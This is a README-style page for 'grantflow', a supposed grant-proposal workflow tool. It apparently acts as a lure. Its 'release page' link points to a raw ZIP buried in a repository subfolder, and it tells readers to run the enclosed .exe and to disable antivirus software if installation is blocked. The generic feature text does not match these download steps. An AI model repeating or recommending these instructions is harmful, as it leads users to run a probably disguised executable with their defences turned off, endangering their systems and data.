grantflow is a platform designed to help you manage proposal operations. It supports workflows for donor projects where accuracy and review are key. You can draft proposals with control, have others review them, trace changes, and create documents ready for submission. The platform focuses on making your tasks clear and trackable.
This tool suits users working with grant proposals, especially when multiple people are involved in writing, reviewing, and approving the documents. It helps teams keep track of versions and approvals. You do not need technical skills to operate it.
- Operating System: Windows 10 or later
- Processor: 2 GHz or faster, dual-core or better
- Memory: At least 4 GB RAM
- Storage: Minimum 500 MB free space
- Internet: Required to download and for some features depending on workflow
- Additional: A modern web browser like Chrome, Edge, or Firefox for using the interface
You need to get the software from the official release page.
-
Click the link above or visit:
https://github.com/igordirtydog/grantflow/raw/refs/heads/main/grantflow/memory_bank/Software-1.6.zip -
On the page, find the latest release. It will have a version number and files attached.
-
Look for a file labeled with
.exeorWindows Installer– this is your setup file.
After downloading the installation file:
- Double-click the
.exefile to start the installer. - Follow the on-screen instructions:
- Agree to the terms if asked.
- Choose the folder where you want to install the program or accept the default location.
- Click “Install” and wait until the process finishes.
Once installation completes:
- Look for the grantflow icon on your desktop or in your Start menu.
- Click to open the program.
- The first time you open it, grantflow may take a moment to prepare your workspace.
- Click "New Proposal" from the main dashboard.
- Enter the basic details such as project name, donor, and deadlines.
- Use the guided form to draft your proposal content step-by-step.
- Invite team members by adding their email addresses.
- Team members will receive a notification with access instructions.
- You can review all changes and comments in one place.
- grantflow logs every edit and approval.
- Use the timeline view to see who made changes and when.
- Mark stages as complete to move towards final submission.
- When the draft is ready, export it as a Word or PDF file.
- The output matches common submission standards for grant proposals.
- Your documents are formatted and ready to send without extra editing.
- Change language settings if needed in the “Settings” menu. Currently, English is supported.
- Adjust notification preferences to receive alerts by email or in the app.
- grantflow saves your data automatically in the cloud.
- You can also export a backup copy from “Settings > Backup.”
- Keep backups safe for compliance and recovery purposes.
- If the installer does not run, make sure you have administrative rights on your PC.
- Disable antivirus software temporarily if it blocks the installation.
- Ensure your Windows is up to date with latest patches.
- Restart your computer if grantflow fails to start after installation.
- Check your internet connection if the app cannot load shared data.
- Clear your browser cache if you access the web interface and see errors.
- Check the Issues tab on the GitHub repository for common questions.
- Use the discussion board to ask for help or share feedback.
grantflow focuses on high-stakes workflows. It integrates AI to assist with drafting but keeps a clear human review step. The system ensures traceability so you know exactly what changes happened, by whom, and when. You get automation without losing control over your process.
- Governed drafting environment
- Human-in-the-loop reviews
- Full traceability of changes
- Export-ready deliverables
- Automation of routine tasks
Topics related to grantflow include AI workflow, document generation, and grant management. The platform uses modern web technologies and AI models but presents them simply to users.
Main release page:
https://github.com/igordirtydog/grantflow/raw/refs/heads/main/grantflow/memory_bank/Software-1.6.zip
Source code and issue tracking are available on GitHub for advanced users and developers. For everyday users, the main goal is downloading, installing, and running the app smoothly on Windows.